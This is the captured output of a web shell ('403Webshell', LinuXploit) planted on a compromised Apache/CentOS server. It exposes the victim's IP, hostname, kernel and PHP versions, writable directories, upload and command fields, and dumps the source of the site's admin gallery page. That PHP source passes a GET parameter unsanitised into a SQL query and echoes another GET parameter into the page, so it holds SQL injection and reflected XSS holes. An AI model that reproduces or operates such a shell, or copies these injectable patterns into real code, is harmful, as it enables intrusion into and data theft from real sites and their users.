403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/aa-lam.org/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aa-lam.org/admin/galleryindex.php
<?
//require 'db_connect.php';
require 'check_login.php';
if ($logged_in <> 1) {
	header('Location: login.php');
	return;
}
else
{
?>
<?php 
require("configure.php");
$gallerycatid	= $_GET['gallerycatid'];
?>
<html>
<head>
<link rel="stylesheet" href="main.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin Page</title>
<script type="text/JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
</head>
<body>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr>
  <td class='headertext' align="left"><b> Gallery </b>
      <select name="gallerycatid" onChange="MM_jumpMenu('self',this,0)">
	  <option value="galleryindex.php?gallerycatid=0" <? if (($gallerycatid=='0') || ($gallerycatid=='')) echo 'selected'; ?>>All</option>
	  		<?php
	  		$sql = "SELECT * from gallerycat order by gallerycatid desc ";
			$result1 = mysql_query($sql) or die(mysql_error());
			while ($row1 = mysql_fetch_array($result1,MYSQL_ASSOC))
			{
			?>
        <option value="galleryindex.php?gallerycatid=<?=$row1{'gallerycatid'}?>" <? if ($gallerycatid==$row1{'gallerycatid'}) echo 'selected'; ?> ><?=$row1{'gallerycattype'}?></option>
		<? } ?>
      </select>
    </td>
  <td class='headertext' align="right"><a href="galleryaddform.php"><img src="images/button_insert.png" alt="Add" border="0">&nbsp;Add</a></td>
</tr>
</table>
<?
echo "<p class='content'>". $_GET['msg'] ."</p>";
?>
<table border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF">
<tr><td class="contentsearch" bgcolor="#FFFFFF" width="50" align="center">Delete</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="140" align="center">Image</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="200" align="center">Gallery Name</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="50" align="center">Action</td></tr>

<?php

if (($gallerycatid <> "0") && ($gallerycatid <> "")) {
$sql = "SELECT * FROM gallery inner join gallerycat on gallery.gallerycatid = gallerycat.gallerycatid where gallerycat.gallerycatid = $gallerycatid order by galleryid desc ";
$result = mysql_query($sql);
} else {
$result = mysql_query("SELECT * FROM gallery inner join gallerycat on gallery.gallerycatid = gallerycat.gallerycatid order by gallerycat.gallerycatid desc ");
}
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	print "<tr>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' align='center'>";
	print "<a href='gallerydeleteconfirm.php?gallerycatid=".$row{'gallerycatid'}."&galleryid=".$row{'galleryid'}."' border='0'>";
	print "<img src='images/btnRemove.gif' border='0' alt='Remove'></a></td>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'><img src='galleryphoto/".$row{'galleryfile'}."' border='0' width='100' ></td>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'>".$row{'gallerycattype'}."</td>";
//	print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'>".$row{'galleryname'}."</td>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' align='center'>";
	print "<a href='gallerymodifyform.php?gallerycatid=".$row{'gallerycatid'}."&galleryid=".$row{'galleryid'}."'>";
	print "<img src='images/button_properties.png' border='0' alt='Modify'></a>";
	print "</td></tr>";
}
mysql_close($dbh);
?>
</table>
</body>
</html>
<?
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit